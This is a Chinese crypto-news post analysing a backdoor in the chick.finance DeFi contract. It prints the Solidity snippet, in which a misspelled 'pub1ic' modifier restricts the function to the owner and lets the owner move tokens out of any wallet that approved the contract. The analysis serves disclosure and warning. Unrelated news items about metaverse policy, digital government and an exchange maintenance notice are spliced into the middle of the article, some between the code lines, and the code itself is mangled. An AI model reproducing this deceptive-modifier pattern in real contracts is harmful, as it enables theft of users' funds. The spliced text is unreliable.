關于DeFi流動性挖礦項目chick.finance惡意合約代碼的詳細分析_OWN

就在剛剛，YFII通報了chick.finance合約代碼的風險，不過其中提到的“用戶充值的所有代幣，開發者都有權限提取”這句話其實并不是完全準確的，因此在這里我們需要給大家做下更詳細的描述：

該合約惡意代碼的問題并不在于“開發者事發后能提取用戶存在合約中的代幣”，而在于對于任何給該合約授權了的用戶，開發者都能把你錢包里的代幣一掃而空，這正是比特派安全實驗室在之前的那篇《以太坊Defi生態當前最大的安全隱患》一文中提到的“濫用合約授權問題”。

上海市《徐匯區關于支持元宇宙發展的若干意見》正在面向社會征求意見:8月2日消息，據上海市徐匯區政府官方文件通知，徐匯區已于近日發布《徐匯區關于支持元宇宙發展的若干意見（征求意見稿）》，現公開征求市民和有關單位的意見，征求意見截止日期為2022年8月20日。征求意見稿提到，將對聚焦虛擬現實、增強現實、數字孿生、人工智能、區塊鏈、物聯網等元宇宙底層支撐技術的企業進行扶持，助力企業等創新主體開展研發攻關，推動企業加快建設5G/6G、GPU、交互、云化、物聯網等元宇宙后端基礎設施，鼓勵企業研發生產虛擬主機、VR（虛擬現實）、AR（增強現實）、MR（混合現實）、腦機交互等元宇宙終端設備，支持企業在社交消費、教育醫療、文體娛樂、政務管理等領域開展符合法律規定的元宇宙場景內容搭建和生產。

其中，對開展元宇宙關鍵技術研發的企業，補助總額最高可至500萬元。特別重大的項目，可按“一事一議”原則依法給予支持。征求意見適用于工商注冊和稅務登記關系均在徐匯區，信用記錄良好的元宇宙相關領域企業及機構。[2022/8/2 2:54:04]

惡意代碼是如下這段：

國務院印發《關于加強數字政府建設的指導意見》:6月23日，國務院印發《關于加強數字政府建設的指導意見》，就主動順應經濟社會數字化轉型趨勢，充分釋放數字化發展紅利，全面開創數字政府建設新局面作出部署。（新華社）[2022/6/23 1:27:41]

functionstartReward(address_from,uint256amount)externalpub1ic{

K網國際站關于暫停ETH、BTM、TNB、EGCC、BUT充提幣的公告:因K網錢包服務器將于新加坡時間（GTM+8）2018年5月19日10:00-14:00進行維護升級，在此期間將暫停ETH、BTM、TNB、EGCC、BUT的充提幣服務。[2018/5/18]

????weth.safeTransferFrom(_from,owner(),amount);

??}

開發者對故意拼寫錯誤的pub1ic做了如下約束

modifierpub1ic(){

????require(isOwner(),"Ownable:callerisnottheowner");

????_;

??}

上述代碼的邏輯很簡單，干的就是那些給這個合約授權了的用戶，合約Owner都能把你的代幣轉給Owner，就這么簡單。

這其實是DeFi生態里非常嚴重的惡性事件，理應引起全行業的重視，因為這次可能惡意開發者只是用拼寫錯誤的方式來試圖蒙騙大家，然后很幸運的第一時間被發現了，那下次呢？是不是可以寫出邏輯復雜并且很難被看出來的漏洞，靜靜的等待上線把各位的錢包一掃而空呢？要再次強調的是，這個例子中，您損失的可不僅僅是您存入合約的資產，而是你錢包里的全部資產，明白了嗎？

我們之前在向全行業提出“濫用合約授權”問題的時候，就曾預計到可能會有開發者作惡的情況出現，沒想到這一天來的這么快，這次代碼偽裝的比較蠢，那下次呢？下次DeFi礦工們是否還能躲得過去了呢

Tags：元宇宙OWNNERDEF元宇宙平臺是騙局嗎FishingTownGilTokenDeFinerXDEFI

Gate交易所